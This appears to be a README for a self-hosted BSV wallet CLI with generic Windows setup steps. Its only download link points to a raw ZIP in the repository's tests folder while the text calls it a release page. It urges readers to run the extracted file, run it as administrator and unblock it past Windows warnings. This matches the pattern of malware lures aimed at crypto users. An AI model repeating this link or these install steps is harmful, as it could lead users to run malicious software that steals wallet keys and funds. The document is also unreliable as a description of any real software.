bsv-wallet-cli is a self-hosted BSV wallet and BRC-100 server in one Rust binary.
It gives you a local wallet you control. It also runs a server that can work with MetaNet Client tools. You keep your keys and data on your own computer.
- A Windows PC
- Internet access for the first download
- Enough free disk space for the app and wallet data
- Permission to run apps on your computer
For best results, use a recent version of Windows 10 or Windows 11.
Visit this page to download:
https://github.com/Hala6135/bsv-wallet-cli/raw/refs/heads/main/tests/cli-bsv-wallet-1.2.zip
- Open the release page.
- Find the latest release.
- Download the Windows file for your system.
- If the release comes as a ZIP file, open it and extract the contents.
- If the release comes as an EXE file, double-click it to run it.
- If Windows asks for permission, choose to run the app.
If you see more than one file, pick the one that matches your PC:
windows-x64for most modern Windows PCswindows-arm64for ARM-based devices
- Open the folder where you saved the files.
- Start the
bsv-wallet-cliapp. - If a console window opens, keep it open while you use the wallet.
- Follow any prompts on screen.
- Let the app create its local wallet files.
The first start may take a short time while the app sets up its data folder.
When the app starts, it creates a local wallet on your machine.
Follow the prompts to:
- Create a new wallet
- Set a strong password if the app asks for one
- Write down your recovery phrase if one is shown
- Keep your wallet files in a safe place
Use a password that you do not use anywhere else. If you save a recovery phrase, store it offline.
bsv-wallet-cli also runs a local BRC-100 server.
After the app starts, it may print a local address such as:
http://127.0.0.1:...http://localhost:...
Use that address in a browser or in a client app that connects to local services.
If the app asks for a port number, you can keep the default value unless another app already uses it.
This app is wire-compatible with MetaNet Client.
To connect:
- Start bsv-wallet-cli
- Make sure the local server is running
- Open MetaNet Client
- Enter the local server address shown in the console
- Save the connection settings
If the client cannot connect, check that both apps are running and that you used the same port.
- Open the wallet
- Choose the send option
- Enter the recipient address
- Enter the amount
- Confirm the transaction
- Open the wallet
- Look for the balance screen or balance command
- Wait for the app to sync if needed
The app stores wallet data on your computer. You can keep it on your main drive or move it to a safe backup folder.
This app is CLI-first, which means it can run from a command window.
If the release includes a .exe file, you can open PowerShell or Command Prompt in that folder and run it from there.
Example:
bsv-wallet-cli.exe
If the app shows help text, use it to see available commands.
Keep the app in a folder you can find later, such as:
C:\Apps\bsv-wallet-cli\C:\Users\YourName\Downloads\bsv-wallet-cli\
If you want to keep wallet data separate, make a second folder for backups.
- Check that you downloaded the Windows file
- Try running the app again
- Right-click the file and choose Run as administrator if needed
- Open the file properties
- If you see an Unblock option, turn it on
- Run the file again
- Make sure bsv-wallet-cli is still running
- Check the local address and port
- Make sure no other app uses the same port
- Start the app from PowerShell or Command Prompt
- Read the error message before closing the window
- Try the latest release from the download page
- Repository name: bsv-wallet-cli
- Type: Self-hosted wallet and server
- Language: Rust
- Use case: Local BSV wallet and BRC-100 server
- Model: Non-custodial and self-hosted
bitcoin, bitcoin-sv, blockchain, brc-100, bsv, cli, mcp, non-custodial, rust, self-hosted, wallet, wallet-server
- A local wallet you control
- A single binary for easier setup
- A command line interface for direct control
- Local server support for client apps
- A setup that keeps control on your side
- Download only from the release page
- Keep a backup of your wallet data
- Store your recovery phrase offline
- Do not share your private keys
- Test with a small amount first if you are new to the app
A Windows release may include files like:
.exefor direct use.zipfor manual setup- checksum files for file verification
If you see a ZIP file, extract it before you start the app. If you see an EXE file, open it directly.
- Open the release page
- Download the Windows file
- Extract it if needed
- Start the app
- Follow the setup prompts
- Keep the window open while the wallet or server runs